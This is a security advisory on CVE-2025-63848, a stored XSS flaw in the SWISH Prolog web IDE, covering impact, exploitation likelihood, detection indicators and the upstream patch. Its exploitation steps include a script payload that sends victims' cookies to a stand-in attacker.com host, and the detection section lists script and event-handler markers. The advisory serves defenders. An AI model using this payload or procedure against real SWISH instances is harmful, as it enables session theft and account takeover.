CVE-2025-63848: 
NixOS vulnerability analysis and mitigation

CVE-2025-63848 is a stored cross-site scripting (XSS) vulnerability in SWISH Prolog (SWI-Prolog for SHaring), a web-based IDE for SWI-Prolog. The vulnerability affects SWISH versions through 2.2.0 and allows unauthenticated attackers to execute arbitrary JavaScript in the context of other users' browsers via a crafted web IDE notebook. It was published on November 20, 2025, and carries a CVSS v3.1 base score of 6.1 (Medium) (Feedly, PoC Repo).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically in the notebook feature of the SWISH web IDE. An attacker can craft a malicious notebook containing embedded JavaScript payloads that are stored server-side and subsequently rendered without adequate sanitization when other users open or view the notebook. Because the vulnerability is stored (persistent) rather than reflected, the malicious payload executes automatically in victims' browsers upon viewing the crafted content, without requiring the victim to interact with an attacker-controlled link. A patch commit is publicly referenced at the SWI-Prolog SWISH repository (PoC Repo, SWI-Prolog GitHub).

Successful exploitation enables one-click account takeover (ATO) by allowing an attacker's injected script to steal session cookies, authentication tokens, or credentials from any user who views the malicious notebook. The confidentiality and integrity of affected user accounts are compromised, as the attacker can impersonate victims, exfiltrate data accessible within the SWISH session, or perform unauthorized actions on their behalf. Availability is not directly impacted, but the scope is changed — meaning the injected script executes in the context of the victim's browser rather than just the attacker's session (PoC Repo, Feedly).

A public proof-of-concept repository exists at GitHub, published by the discoverer, which documents the vulnerability and references the upstream patch (PoC Repo). No evidence of active in-the-wild exploitation or threat actor attribution has been reported. The EPSS score is approximately 0.036% (0.000360), indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of this report.

1. Identify target: Locate a publicly accessible or shared SWISH Prolog web IDE instance running version 2.2.0 or earlier.
2. Create malicious notebook: Log in (or access as a guest if permitted) and create a new SWISH notebook. Embed a JavaScript XSS payload within a notebook cell or metadata field that is rendered as HTML — for example, injecting <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or equivalent into a notebook title, description, or content field that lacks proper sanitization.
3. Save and share: Save the crafted notebook to the server, causing the payload to be stored persistently.
4. Deliver to victim: Share the notebook URL with a target user (e.g., via a collaboration link, public listing, or social engineering).
5. Payload execution: When the victim opens the notebook in their browser, the stored JavaScript executes in their session context, enabling cookie theft, session hijacking, or other client-side attacks leading to account takeover (PoC Repo).

• Network: Outbound requests from victim browsers to unexpected external domains shortly after accessing SWISH notebook URLs; unusual HTTP GET/POST requests containing encoded cookie or token data to attacker-controlled endpoints.
• Logs: Web server access logs showing requests to notebook endpoints followed by anomalous redirects or requests to external URLs; repeated access to the same notebook URL from multiple distinct user sessions.
• File System: Presence of notebooks containing <script>, javascript:, onerror=, onload=, or other event handler attributes in stored notebook content on the server.
• Application: Unexpected session activity or logins from IP addresses inconsistent with a user's normal access patterns, potentially indicating session token theft and reuse.

Users should upgrade SWISH to a version incorporating the fix introduced in commit 4fb6acb97bedf993ec406a2ef324eeb2a16c49e3 in the SWI-Prolog SWISH repository, which addresses the insufficient input sanitization (PoC Repo, SWI-Prolog GitHub). As a temporary workaround, administrators should restrict access to the SWISH instance to trusted users only and disable public notebook sharing until the patch is applied. Implementing a strict Content Security Policy (CSP) header can also reduce the impact of XSS exploitation by limiting script execution sources.

Red Hat has tracked this CVE in their security advisory database, indicating awareness among enterprise Linux vendors (Red Hat). The vulnerability was noted in automated threat intelligence feeds and vulnerability aggregators shortly after disclosure, but no significant public researcher commentary or media coverage has been identified beyond the discoverer's PoC repository.